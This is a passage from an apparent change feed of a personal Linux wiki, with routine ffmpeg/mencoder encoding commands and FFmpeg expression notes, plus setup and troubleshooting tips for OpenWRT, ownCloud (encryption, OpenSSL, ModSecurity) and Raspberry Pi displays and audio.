 mencoder $ifile -of avi -ovc x264 -x264encopts bitrate=3000:subq=6:partitions=all:8x8dct:me=umh:frameref=5:bframes=3:b_pyramid:weight_b:threads=auto \&lt;br /&gt;
 -o Desktop/test2641.avi&lt;br /&gt;
&lt;br /&gt;
 mencoder $ifile -of avi -ovc x264 \&lt;br /&gt;
 -x264encopts bitrate=500:subq=5:8x8dct:frameref=2:bframes=3:b_pyramid:weight_b:threads=auto \&lt;br /&gt;
 -o Desktop/test2641.avi&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
=== AVID ===&lt;br /&gt;
 ffmpeg -i ../hi/1906.dv -vcodec libx264 -b 4096000 -t 10 -subq 6 -acodec libfaac -ar 48000 -ab 128000 -ac 2 -f mp4  1906_ffmpeg_Afaac_Vx264.mp4&lt;br /&gt;
 ffmpeg -i ../hi/1906.dv -vcodec libx264 -b 4096000 -t 10 -subq 6 -acodec libfaac -ac 2 -f mp4  1906_ffmpeg_Afaac_Vx264.mp4&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
=== Working with PIPEs ===&lt;br /&gt;
&lt;br /&gt;
* esempio da omf file di avid&lt;br /&gt;
 mkfifo videopipe&lt;br /&gt;
Aprire nuova shell:&lt;br /&gt;
 cat videopipe | ffmpeg -i - -target dv output.dv&lt;br /&gt;
Toranre alla vecchia shell:&lt;br /&gt;
 mencoder &amp;lt;filevideo.omf&amp;gt; -ovc copy -oac pcm -o videopipe&lt;br /&gt;
Quando i due hanno terminato il play e l'encoding:&lt;br /&gt;
 '''unlink videopipe''' &lt;br /&gt;
&lt;br /&gt;
* reccare e encodare DV&lt;br /&gt;
 dvgrab --autosplit --format raw -|ffmpeg -f dv -i - -target vcd f.mpg&lt;br /&gt;
&lt;br /&gt;
*Encode from a pipe:&lt;br /&gt;
 rar p test-SVCD.rar | mencoder -ovc lavc -lavcopts vcodec=mpeg4:vbitrate=800 -ofps 24 -&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
===  Flash FLV ===&lt;br /&gt;
==== encode in flv (avi to flv) (mpg to flv) ffmpeg ====&lt;br /&gt;
 ffmpeg -y -i dumpato2.avi -acodec mp3 -f flv dumpato2.flv&lt;br /&gt;
&lt;br /&gt;
 video_directory/ # for clip in ls ./*.* ; do ffmpeg -y -i &amp;quot;$clip&amp;quot; -acodec mp3 -f flv /scratch/`echo &amp;quot;$clip&amp;quot;|sed -e s@' '@'_'@g`; done&lt;br /&gt;
&lt;br /&gt;
=== mp3 ===&lt;br /&gt;
&lt;br /&gt;
==== all aiff in a directory to mp3 ====&lt;br /&gt;
&lt;br /&gt;
 for file in *.aiff ; do ffmpeg -i &amp;quot;$file&amp;quot; -f mp3 -ab 320000 -ar 48000 &amp;quot;$file.mp3&amp;quot; ; done&lt;br /&gt;
 rename .aiff.mp3 .mp3 *.aiff.mp3&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
=== Problem -&amp;gt; Solution ===&lt;br /&gt;
&lt;br /&gt;
==== Encoding ====&lt;br /&gt;
* convertendo in x264 con RedHat 5.2 il video in uscita risulta corrotto &lt;br /&gt;
** is the x264 library that updatig casuses the problem&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== bit rate ==&lt;br /&gt;
* values can be specified using '''''1'''M''''' or ''1024'''K''''' or '''''1 048 576'''''&lt;br /&gt;
** '''-b'''  ''1024'''K''''' &lt;br /&gt;
** '''-minrate''' 800K&lt;br /&gt;
** '''-maxrate''' 1400K&lt;br /&gt;
** '''-bufsize''' 120K&lt;br /&gt;
&lt;br /&gt;
== Troubleshooting ==&lt;br /&gt;
=== cannot open shared object file: No such file or directory ===&lt;br /&gt;
&lt;br /&gt;
 ldd `which ffmpeg`&lt;br /&gt;
        libavdevice.so.52 =&amp;gt; not found&lt;br /&gt;
        libavfilter.so.1 =&amp;gt; not found&lt;br /&gt;
        libavformat.so.52 =&amp;gt; not found&lt;br /&gt;
        libavcodec.so.52 =&amp;gt; not found&lt;br /&gt;
        libswscale.so.0 =&amp;gt; not found&lt;br /&gt;
        libavcore.so.0 =&amp;gt; not found&lt;br /&gt;
        libavutil.so.50 =&amp;gt; not found&lt;br /&gt;
        libm.so.6 =&amp;gt; /lib/libm.so.6 (0x006c3000)&lt;br /&gt;
        libpthread.so.0 =&amp;gt; /lib/libpthread.so.0 (0x007e9000)&lt;br /&gt;
        libc.so.6 =&amp;gt; /lib/libc.so.6 (0x00575000)&lt;br /&gt;
        /lib/ld-linux.so.2 (0x00557000)&lt;br /&gt;
&lt;br /&gt;
 find /usr/local/lib/ | grep -E &amp;quot;libavdevice.so.52|libavfilter.so.1|libavcodec.so.52|libavcore.so.0&amp;quot;&lt;br /&gt;
&lt;br /&gt;
 lddconfig&lt;br /&gt;
&lt;br /&gt;
== FFmpeg Math expresisons ==&lt;br /&gt;
&lt;br /&gt;
* very powerful &amp;quot;under the hood&amp;quot; part of this software:&lt;br /&gt;
&lt;br /&gt;
* using expresisons in ''scale'' filter: [[MPLAYER_MENCODER#.22not_divisible_by_2.22]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== from ffmpeg documentation ===&lt;br /&gt;
&lt;br /&gt;
* item E, PI, PHI&lt;br /&gt;
** the corresponding mathematical approximated values for e (euler number), pi (greek PI), phi (golden ratio)&lt;br /&gt;
&lt;br /&gt;
* ''in_w, in_h'' the input width and heigth&lt;br /&gt;
&lt;br /&gt;
* ''iw, ih same as @var{in_w} and @var{in_h}&lt;br /&gt;
&lt;br /&gt;
* ''out_w, out_h'' the output (cropped) width and heigth&lt;br /&gt;
** ''ow, oh'' same as @var{out_w} and @var{out_h}&lt;br /&gt;
&lt;br /&gt;
* ''a'' input display aspect ratio, same as @var{iw} / @var{ih}&lt;br /&gt;
&lt;br /&gt;
* ''hsub, vsub'' horizontal and vertical chroma subsample values. &lt;br /&gt;
** For example for the pixel format &amp;quot;yuv422p&amp;quot; @var{hsub} is 2 and @var{vsub} is 1.&lt;br /&gt;
&lt;br /&gt;
* If the input image format is different from the format requested by the next filter, &lt;br /&gt;
** the scale filter will convert the input to the ratio of the input image.&lt;br /&gt;
 &lt;br /&gt;
* default value of @var{width} and @var{height} is 0.&lt;br /&gt;
&lt;br /&gt;
* '''Some examples follow:''&lt;br /&gt;
&lt;br /&gt;
* scale the input to 2x&lt;br /&gt;
 scale=2*iw:2*ih&lt;br /&gt;
same as&lt;br /&gt;
 scale=2*in_w:2*in_h&lt;br /&gt;
&lt;br /&gt;
* scale the input to half size&lt;br /&gt;
 scale=iw/2:ih/2&lt;br /&gt;
&lt;br /&gt;
* increase the width, and set the height to the same size&lt;br /&gt;
 scale=3/2*iw:ow&lt;br /&gt;
&lt;br /&gt;
* seek for Greek harmony&lt;br /&gt;
 scale=iw:1/PHI*iw&lt;br /&gt;
 scale=ih*PHI:ih&lt;br /&gt;
 &lt;br /&gt;
* increase the height, and set the width to 3/2 of the height&lt;br /&gt;
 scale=3/2*oh:3/5*ih&lt;br /&gt;
&lt;br /&gt;
* increase the size, but make the size a multiple of the chroma&lt;br /&gt;
 scale=&amp;quot;trunc(3/2*iw/hsub)*hsub:trunc(3/2*ih/vsub)*vsub&amp;quot;&lt;br /&gt;
&lt;br /&gt;
* increase the width to a maximum of 500 pixels, keep the same input aspect ratio&lt;br /&gt;
 scale='min(500\, iw*3/2):-1'&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
http://ffmpeg.mplayerhq.hu/ffmpeg.html&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
When evaluating an arithmetic expression, FFmpeg uses an internal formula evaluator, implemented through the `libavutil/eval.h' interface.&lt;br /&gt;
&lt;br /&gt;
An expression may contain unary, binary operators, constants, and functions.&lt;br /&gt;
&lt;br /&gt;
Two expressions expr1 and expr2 can be combined to form another expression &amp;quot;expr1;expr2&amp;quot;. &lt;br /&gt;
&lt;br /&gt;
expr1 and expr2 are evaluated in turn, and the new expression evaluates to the value of expr2.&lt;br /&gt;
&lt;br /&gt;
The following binary operators are available: +, -, *, /, ^.&lt;br /&gt;
&lt;br /&gt;
The following unary operators are available: +, -.&lt;br /&gt;
&lt;br /&gt;
The following functions are available:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
`sinh(x)'&lt;br /&gt;
`cosh(x)'&lt;br /&gt;
`tanh(x)'&lt;br /&gt;
`sin(x)'&lt;br /&gt;
`cos(x)'&lt;br /&gt;
`tan(x)'&lt;br /&gt;
`atan(x)'&lt;br /&gt;
`asin(x)'&lt;br /&gt;
`acos(x)'&lt;br /&gt;
`exp(x)'&lt;br /&gt;
`log(x)'&lt;br /&gt;
`abs(x)'&lt;br /&gt;
`squish(x)'&lt;br /&gt;
`gauss(x)'&lt;br /&gt;
`isnan(x)'&lt;br /&gt;
    Return 1.0 if x is NAN, 0.0 otherwise. &lt;br /&gt;
`mod(x, y)'&lt;br /&gt;
`max(x, y)'&lt;br /&gt;
`min(x, y)'&lt;br /&gt;
`eq(x, y)'&lt;br /&gt;
`gte(x, y)'&lt;br /&gt;
`gt(x, y)'&lt;br /&gt;
`lte(x, y)'&lt;br /&gt;
`lt(x, y)'&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
* `st(var, expr)'&lt;br /&gt;
**    Allow to store the value of the expression expr in an internal variable. var specifies the number of the variable where to store the value, and it is a value ranging from 0 to 9. The function returns the value stored in the internal variable. &lt;br /&gt;
* `ld(var)'&lt;br /&gt;
**    Allow to load the value of the internal variable with number var, which was previosly stored with st(var, expr). The function returns the loaded value. &lt;br /&gt;
*`while(cond, expr)'&lt;br /&gt;
**    Evaluate expression expr while the expression cond is non-zero, and returns the value of the last expr evaluation, or NAN if cond was always false. &lt;br /&gt;
*`ceil(expr)'&lt;br /&gt;
**    Round the value of expression expr upwards to the nearest integer. For example, &amp;quot;ceil(1.5)&amp;quot; is &amp;quot;2.0&amp;quot;. &lt;br /&gt;
*`floor(expr)'&lt;br /&gt;
**    Round the value of expression expr downwards to the nearest integer. For example, &amp;quot;floor(-1.5)&amp;quot; is &amp;quot;-2.0&amp;quot;. &lt;br /&gt;
*`trunc(expr)'&lt;br /&gt;
**    Round the value of expression expr towards zero to the nearest integer. For example, &amp;quot;trunc(-1.5)&amp;quot; is &amp;quot;-1.0&amp;quot;. &lt;br /&gt;
*`sqrt(expr)'&lt;br /&gt;
**    Compute the square root of expr. This is equivalent to &amp;quot;(expr)^.5&amp;quot;. &lt;br /&gt;
*`not(expr)'&lt;br /&gt;
**    Return 1.0 if expr is zero, 0.0 otherwise. &lt;br /&gt;
*`pow(x, y)'&lt;br /&gt;
**    Compute the power of x elevated y, it is equivalent to &amp;quot;(x)^(y)&amp;quot;. &lt;br /&gt;
&lt;br /&gt;
 * works like AND&lt;br /&gt;
&lt;br /&gt;
 + works like OR&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;php&amp;quot; &amp;gt;&lt;br /&gt;
if A then B else C&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
is equivalent to&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;php&amp;quot; &amp;gt;&lt;br /&gt;
A*B + not(A)*C&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;/div&gt;</summary>
		<author><name>Porcelinux</name></author>
	</entry>
	<entry>
		<id>https://wiki.alessandro.delgallo.net//index.php?title=OpenWRT&amp;diff=6424</id>
		<title>OpenWRT</title>
		<link rel="alternate" type="text/html" href="https://wiki.alessandro.delgallo.net//index.php?title=OpenWRT&amp;diff=6424"/>
		<updated>2024-07-26T20:33:13Z</updated>

		<summary type="html">&lt;p&gt;Porcelinux: Created page with &amp;quot;  Upgrade all upgradable packages  root@antest:~#  opkg list-upgradable | cut -f 1 -d ' ' | xargs -r opkg upgrade&amp;quot;&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;br /&gt;
&lt;br /&gt;
Upgrade all upgradable packages&lt;br /&gt;
 root@antest:~#  opkg list-upgradable | cut -f 1 -d ' ' | xargs -r opkg upgrade&lt;/div&gt;</summary>
		<author><name>Porcelinux</name></author>
	</entry>
	<entry>
		<id>https://wiki.alessandro.delgallo.net//index.php?title=Owncloud&amp;diff=6423</id>
		<title>Owncloud</title>
		<link rel="alternate" type="text/html" href="https://wiki.alessandro.delgallo.net//index.php?title=Owncloud&amp;diff=6423"/>
		<updated>2024-07-05T22:04:17Z</updated>

		<summary type="html">&lt;p&gt;Porcelinux: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Installation ==&lt;br /&gt;
I avoid package manager installations due to avoidable bad experiences.&lt;br /&gt;
&lt;br /&gt;
unpacking the source in your /var/www/cloud or deploying a docker image, are surely better solutions for long term stability&lt;br /&gt;
&lt;br /&gt;
https://www.howtoforge.com/how-to-install-owncloud-on-debian-12/ &lt;br /&gt;
&lt;br /&gt;
== cli ==&lt;br /&gt;
&amp;lt;code&amp;gt;sudo -u www-data ./occ background:queue:delete 12&lt;br /&gt;
&lt;br /&gt;
Job has been deleted.&amp;lt;/code&amp;gt;&lt;br /&gt;
 $ php occ app:enable encryption&lt;br /&gt;
&lt;br /&gt;
 $ php occ encryption:status&lt;br /&gt;
   - enabled: true&lt;br /&gt;
   - defaultModule: OC_DEFAULT_MODULE&lt;br /&gt;
&lt;br /&gt;
 $ php occ encryption:decrypt-all&lt;br /&gt;
&lt;br /&gt;
 $encryption:list-modules&lt;br /&gt;
   - OC_DEFAULT_MODULE: Default encryption module [default*]&lt;br /&gt;
&lt;br /&gt;
 $ php occ encryption:show-key-storage-root&lt;br /&gt;
 Current key storage root:  default storage location (data/)&lt;br /&gt;
&lt;br /&gt;
=== DAV ===&lt;br /&gt;
 srv:# cadaver https://example.com/cloud/remote.php/webdav/&lt;br /&gt;
&lt;br /&gt;
 Authentication required for ownCloud on server `example.com':&lt;br /&gt;
 Username: abcd&lt;br /&gt;
 Password:&lt;br /&gt;
 dav:/cloud/remote.php/webdav/&amp;gt; ls&lt;br /&gt;
 ...&lt;br /&gt;
= Troubleshooting =&lt;br /&gt;
&lt;br /&gt;
=== Encription errors: ===&lt;br /&gt;
OwnCloud uses a legacy ssl module, on recent distributions, this is disabled by default:https://doc.owncloud.com/server/10.14/admin_manual/installation/manual_installation/manual_installation_prerequisites.html#openssl-version&lt;br /&gt;
&lt;br /&gt;
multikeydecrypt with share key failed:error: 0308010C:digital envelope routines::unsupported&lt;br /&gt;
&lt;br /&gt;
-&amp;gt; Need to modify '''/etc/ssl/openssl.cnf''' to enable legacy support:&lt;br /&gt;
 [openssl_init]&lt;br /&gt;
 providers = provider_sect&lt;br /&gt;
 &lt;br /&gt;
 # List of providers to load&lt;br /&gt;
 [provider_sect]&lt;br /&gt;
 default = default_sect&lt;br /&gt;
 legacy = legacy_sect&lt;br /&gt;
 &lt;br /&gt;
 [default_sect]&lt;br /&gt;
 activate = 1&lt;br /&gt;
 [legacy_sect]&lt;br /&gt;
 activate = 1&lt;br /&gt;
&lt;br /&gt;
== DAV client connection problem with php-fpm ==&lt;br /&gt;
*fix the DAV client connection problem with php-fpm&lt;br /&gt;
&lt;br /&gt;
 OPTIONS /index.php/login HTTP/1.1&amp;quot; 405&lt;br /&gt;
&lt;br /&gt;
 owncloud PROPFIND /remote.php/webdav/ HTTP/1.1&amp;quot; 401&lt;br /&gt;
* setting the following in the VH solved the problem&lt;br /&gt;
  &amp;lt;IfModule setenvif_module&amp;gt;&lt;br /&gt;
    SetEnvIfNoCase ^Authorization$ &amp;quot;(.+)&amp;quot; HTTP_AUTHORIZATION=$1&lt;br /&gt;
  &amp;lt;/IfModule&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== ModSecurity ===&lt;br /&gt;
*moreover, if you're using ModSecurity, it will block some weird encoded files:&lt;br /&gt;
&lt;br /&gt;
 [id &amp;quot;200002&amp;quot;] [msg &amp;quot;Failed to parse request body.&amp;quot;]&lt;br /&gt;
&lt;br /&gt;
* /etc/modsecurity/modsecurity.conf&lt;br /&gt;
 SecRule REQUEST_URI /PATH/GIVING/ERROR &amp;quot;phase:1,id:12346,nolog,chain&amp;quot;&lt;br /&gt;
   SecRule REQUEST_BODY_LENGTH &amp;quot;@eq 0&amp;quot; &amp;quot;ctl:requestBodyAccess=off&amp;quot;&lt;/div&gt;</summary>
		<author><name>Porcelinux</name></author>
	</entry>
	<entry>
		<id>https://wiki.alessandro.delgallo.net//index.php?title=Owncloud&amp;diff=6422</id>
		<title>Owncloud</title>
		<link rel="alternate" type="text/html" href="https://wiki.alessandro.delgallo.net//index.php?title=Owncloud&amp;diff=6422"/>
		<updated>2024-07-05T21:15:23Z</updated>

		<summary type="html">&lt;p&gt;Porcelinux: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Installation ==&lt;br /&gt;
I avoid package manager installations due to avoidable bad experiences.&lt;br /&gt;
&lt;br /&gt;
unpacking the source in your /var/www/cloud or deploying a docker image, are surely better solutions for long term stability&lt;br /&gt;
&lt;br /&gt;
https://www.howtoforge.com/how-to-install-owncloud-on-debian-12/ &lt;br /&gt;
&lt;br /&gt;
== cli ==&lt;br /&gt;
 $ php occ app:enable encryption&lt;br /&gt;
&lt;br /&gt;
 $ php occ encryption:status&lt;br /&gt;
   - enabled: true&lt;br /&gt;
   - defaultModule: OC_DEFAULT_MODULE&lt;br /&gt;
&lt;br /&gt;
 $ php occ encryption:decrypt-all&lt;br /&gt;
&lt;br /&gt;
 $encryption:list-modules&lt;br /&gt;
   - OC_DEFAULT_MODULE: Default encryption module [default*]&lt;br /&gt;
&lt;br /&gt;
 $ php occ encryption:show-key-storage-root&lt;br /&gt;
 Current key storage root:  default storage location (data/)&lt;br /&gt;
&lt;br /&gt;
=== DAV ===&lt;br /&gt;
 srv:# cadaver https://example.com/cloud/remote.php/webdav/&lt;br /&gt;
&lt;br /&gt;
 Authentication required for ownCloud on server `example.com':&lt;br /&gt;
 Username: abcd&lt;br /&gt;
 Password:&lt;br /&gt;
 dav:/cloud/remote.php/webdav/&amp;gt; ls&lt;br /&gt;
 ...&lt;br /&gt;
= Troubleshooting =&lt;br /&gt;
&lt;br /&gt;
=== Encription errors: ===&lt;br /&gt;
OwnCloud uses a legacy ssl module, on recent distributions, this is disabled by default:https://doc.owncloud.com/server/10.14/admin_manual/installation/manual_installation/manual_installation_prerequisites.html#openssl-version&lt;br /&gt;
&lt;br /&gt;
multikeydecrypt with share key failed:error: 0308010C:digital envelope routines::unsupported&lt;br /&gt;
&lt;br /&gt;
-&amp;gt; Need to modify '''/etc/ssl/openssl.cnf''' to enable legacy support:&lt;br /&gt;
 [openssl_init]&lt;br /&gt;
 providers = provider_sect&lt;br /&gt;
 &lt;br /&gt;
 # List of providers to load&lt;br /&gt;
 [provider_sect]&lt;br /&gt;
 default = default_sect&lt;br /&gt;
 legacy = legacy_sect&lt;br /&gt;
 &lt;br /&gt;
 [default_sect]&lt;br /&gt;
 activate = 1&lt;br /&gt;
 [legacy_sect]&lt;br /&gt;
 activate = 1&lt;br /&gt;
&lt;br /&gt;
== DAV client connection problem with php-fpm ==&lt;br /&gt;
*fix the DAV client connection problem with php-fpm&lt;br /&gt;
&lt;br /&gt;
 OPTIONS /index.php/login HTTP/1.1&amp;quot; 405&lt;br /&gt;
&lt;br /&gt;
 owncloud PROPFIND /remote.php/webdav/ HTTP/1.1&amp;quot; 401&lt;br /&gt;
* setting the following in the VH solved the problem&lt;br /&gt;
  &amp;lt;IfModule setenvif_module&amp;gt;&lt;br /&gt;
    SetEnvIfNoCase ^Authorization$ &amp;quot;(.+)&amp;quot; HTTP_AUTHORIZATION=$1&lt;br /&gt;
  &amp;lt;/IfModule&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== ModSecurity ===&lt;br /&gt;
*moreover, if you're using ModSecurity, it will block some weird encoded files:&lt;br /&gt;
&lt;br /&gt;
 [id &amp;quot;200002&amp;quot;] [msg &amp;quot;Failed to parse request body.&amp;quot;]&lt;br /&gt;
&lt;br /&gt;
* /etc/modsecurity/modsecurity.conf&lt;br /&gt;
 SecRule REQUEST_URI /PATH/GIVING/ERROR &amp;quot;phase:1,id:12346,nolog,chain&amp;quot;&lt;br /&gt;
   SecRule REQUEST_BODY_LENGTH &amp;quot;@eq 0&amp;quot; &amp;quot;ctl:requestBodyAccess=off&amp;quot;&lt;/div&gt;</summary>
		<author><name>Porcelinux</name></author>
	</entry>
	<entry>
		<id>https://wiki.alessandro.delgallo.net//index.php?title=Raspberrypi&amp;diff=6421</id>
		<title>Raspberrypi</title>
		<link rel="alternate" type="text/html" href="https://wiki.alessandro.delgallo.net//index.php?title=Raspberrypi&amp;diff=6421"/>
		<updated>2024-02-07T20:25:45Z</updated>

		<summary type="html">&lt;p&gt;Porcelinux: /* config */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
http://www.raspberrypi.org/documentation/configuration/config-txt.md&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
= casting to a raspberry =&lt;br /&gt;
&lt;br /&gt;
 apt-get install libwidevinecdm0&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
= installing 7 Display =&lt;br /&gt;
&lt;br /&gt;
There are 4 jumper wires (Red, Black, Yelow &amp;amp; Green) that connect to  the following pins on the LCD controller board:&lt;br /&gt;
&lt;br /&gt;
    Red wire to pin marked 5V&lt;br /&gt;
    Green wire to pin marked SDA&lt;br /&gt;
    Yellow wire to pined marked SCL&lt;br /&gt;
    Black wire to pin marked GND&lt;br /&gt;
&lt;br /&gt;
The other end of the wires will connect to the following pins on the Raspberry Pi computer board:&lt;br /&gt;
&lt;br /&gt;
    Red wire to pin 2&lt;br /&gt;
    Green wire to pin 3&lt;br /&gt;
    Yellow wire to pin 4&lt;br /&gt;
    Black wire to pin 6&lt;br /&gt;
&lt;br /&gt;
* Xorg modifications&lt;br /&gt;
&lt;br /&gt;
Paste in: /etc/X11/xorg.conf&lt;br /&gt;
&lt;br /&gt;
 Section &amp;quot;InputClass&amp;quot;&lt;br /&gt;
   Identifier &amp;quot;calibration&amp;quot;&lt;br /&gt;
   Driver &amp;quot;evdev&amp;quot;&lt;br /&gt;
   MatchProduct &amp;quot;FT5406 memory based driver&amp;quot;&lt;br /&gt;
&lt;br /&gt;
   Option &amp;quot;EmulateThirdButton&amp;quot; &amp;quot;1&amp;quot;&lt;br /&gt;
   Option &amp;quot;EmulateThirdButtonTimeout&amp;quot; &amp;quot;750&amp;quot;&lt;br /&gt;
   Option &amp;quot;EmulateThirdButtonMoveThreshold&amp;quot; &amp;quot;30&amp;quot;&lt;br /&gt;
 EndSection&lt;br /&gt;
&lt;br /&gt;
= installing 3.5 Display =&lt;br /&gt;
&lt;br /&gt;
there are various models of the same 3.5 display, two are listed here&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
 sudo rm -rf LCD-show&lt;br /&gt;
 git clone https://github.com/goodtft/LCD-show.git&lt;br /&gt;
 chmod -R 755 LCD-show&lt;br /&gt;
 cd LCD-show/&lt;br /&gt;
&lt;br /&gt;
* MHS-3.5inch_RPi_Display&lt;br /&gt;
&lt;br /&gt;
http://www.lcdwiki.com/MHS-3.5inch_RPi_Display &lt;br /&gt;
&lt;br /&gt;
 cd LCD-show/&lt;br /&gt;
 sudo ./MHS35-show&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
* V3 3.5inch_RPi_Display&lt;br /&gt;
&lt;br /&gt;
 cd LCD-show/&lt;br /&gt;
 sudo ./LCD35-show&lt;br /&gt;
&lt;br /&gt;
* rotate display&lt;br /&gt;
 cd LCD-show/&lt;br /&gt;
 sudo ./rotate.sh 90  .. 180  270&lt;br /&gt;
&lt;br /&gt;
= config =&lt;br /&gt;
&lt;br /&gt;
== DSI lines ==&lt;br /&gt;
DSI lines are disabled by default. To enable detection, add the following line to /boot/config.txt:&lt;br /&gt;
&lt;br /&gt;
 ignore_lcd=0&lt;br /&gt;
&lt;br /&gt;
== 3.5mm jack output sound ==&lt;br /&gt;
&lt;br /&gt;
If using the Raspberry Pi 3.5mm jack to output sound, sound quality can be improved by adding the following line to your boot/config.txt file:&lt;br /&gt;
&lt;br /&gt;
 audio_pwm_mode=2&lt;br /&gt;
&lt;br /&gt;
== HDMI audio ==&lt;br /&gt;
&lt;br /&gt;
in config.txt, this lines will force the audio output to the analog jack &lt;br /&gt;
 dtparam=audio=on &lt;br /&gt;
 audio_pwm_mode=2&lt;br /&gt;
 hdmi_ignore_edid_audio=1&lt;br /&gt;
 disable_audio_dither=1&lt;br /&gt;
&lt;br /&gt;
= software =&lt;br /&gt;
* on screen keyboard&lt;br /&gt;
 apt-get install matchbox-keyboard&lt;br /&gt;
or&lt;br /&gt;
 sudo apt-get install florence&lt;br /&gt;
&lt;br /&gt;
== Raspbian 11 ==&lt;br /&gt;
&lt;br /&gt;
=== LAn iface names ===&lt;br /&gt;
&lt;br /&gt;
iface names are renamed to enx???? .... very bad&lt;br /&gt;
&lt;br /&gt;
* in /boot/cmdline.txt&lt;br /&gt;
 net.ifnames=0 biosdevname=0&lt;/div&gt;</summary>
		<author><name>Porcelinux</name></author>
	</entry>
	<entry>
		<id>https://wiki.alessandro.delgallo.net//index.php?title=Raspberrypi&amp;diff=6420</id>
		<title>Raspberrypi</title>
		<link rel="alternate" type="text/html" href="https://wiki.alessandro.delgallo.net//index.php?title=Raspberrypi&amp;diff=6420"/>
		<updated>2024-02-07T20:21:43Z</updated>

		<summary type="html">&lt;p&gt;Porcelinux: /* config */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
http://www.raspberrypi.org/documentation/configuration/config-txt.md&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
= casting to a raspberry =&lt;br /&gt;
&lt;br /&gt;
 apt-get install libwidevinecdm0&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
= installing 7 Display =&lt;br /&gt;
&lt;br /&gt;
There are 4 jumper wires (Red, Black, Yelow &amp;amp; Green) that connect to  the following pins on the LCD controller board:&lt;br /&gt;
&lt;br /&gt;
    Red wire to pin marked 5V&lt;br /&gt;
    Green wire to pin marked SDA&lt;br /&gt;
    Yellow wire to pined marked SCL&lt;br /&gt;
    Black wire to pin marked GND&lt;br /&gt;
&lt;br /&gt;
The other end of the wires will connect to the following pins on the Raspberry Pi computer board:&lt;br /&gt;
&lt;br /&gt;
    Red wire to pin 2&lt;br /&gt;
    Green wire to pin 3&lt;br /&gt;
    Yellow wire to pin 4&lt;br /&gt;
    Black wire to pin 6&lt;br /&gt;
&lt;br /&gt;
* Xorg modifications&lt;br /&gt;
&lt;br /&gt;
Paste in: /etc/X11/xorg.conf&lt;br /&gt;
&lt;br /&gt;
 Section &amp;quot;InputClass&amp;quot;&lt;br /&gt;
   Identifier &amp;quot;calibration&amp;quot;&lt;br /&gt;
   Driver &amp;quot;evdev&amp;quot;&lt;br /&gt;
   MatchProduct &amp;quot;FT5406 memory based driver&amp;quot;&lt;br /&gt;
&lt;br /&gt;
   Option &amp;quot;EmulateThirdButton&amp;quot; &amp;quot;1&amp;quot;&lt;br /&gt;
   Option &amp;quot;EmulateThirdButtonTimeout&amp;quot; &amp;quot;750&amp;quot;&lt;br /&gt;
   Option &amp;quot;EmulateThirdButtonMoveThreshold&amp;quot; &amp;quot;30&amp;quot;&lt;br /&gt;
 EndSection&lt;br /&gt;
&lt;br /&gt;
= installing 3.5 Display =&lt;br /&gt;
&lt;br /&gt;
there are various models of the same 3.5 display, two are listed here&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
 sudo rm -rf LCD-show&lt;br /&gt;
 git clone https://github.com/goodtft/LCD-show.git&lt;br /&gt;
 chmod -R 755 LCD-show&lt;br /&gt;
 cd LCD-show/&lt;br /&gt;
&lt;br /&gt;
* MHS-3.5inch_RPi_Display&lt;br /&gt;
&lt;br /&gt;
http://www.lcdwiki.com/MHS-3.5inch_RPi_Display &lt;br /&gt;
&lt;br /&gt;
 cd LCD-show/&lt;br /&gt;
 sudo ./MHS35-show&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
* V3 3.5inch_RPi_Display&lt;br /&gt;
&lt;br /&gt;
 cd LCD-show/&lt;br /&gt;
 sudo ./LCD35-show&lt;br /&gt;
&lt;br /&gt;
* rotate display&lt;br /&gt;
 cd LCD-show/&lt;br /&gt;
 sudo ./rotate.sh 90  .. 180  270&lt;br /&gt;
&lt;br /&gt;
= config =&lt;br /&gt;
&lt;br /&gt;
== DSI lines ==&lt;br /&gt;
DSI lines are disabled by default. To enable detection, add the following line to /boot/config.txt:&lt;br /&gt;
&lt;br /&gt;
 ignore_lcd=0&lt;br /&gt;
&lt;br /&gt;
== 3.5mm jack output sound ==&lt;br /&gt;
&lt;br /&gt;
If using the Raspberry Pi 3.5mm jack to output sound, sound quality can be improved by adding the following line to your boot/config.txt file:&lt;br /&gt;
&lt;br /&gt;
 audio_pwm_mode=2&lt;br /&gt;
&lt;br /&gt;
= software =&lt;br /&gt;
* on screen keyboard&lt;br /&gt;
 apt-get install matchbox-keyboard&lt;br /&gt;
or&lt;br /&gt;
 sudo apt-get install florence&lt;br /&gt;
&lt;br /&gt;
== Raspbian 11 ==&lt;br /&gt;
&lt;br /&gt;
=== LAn iface names ===&lt;br /&gt;
&lt;br /&gt;
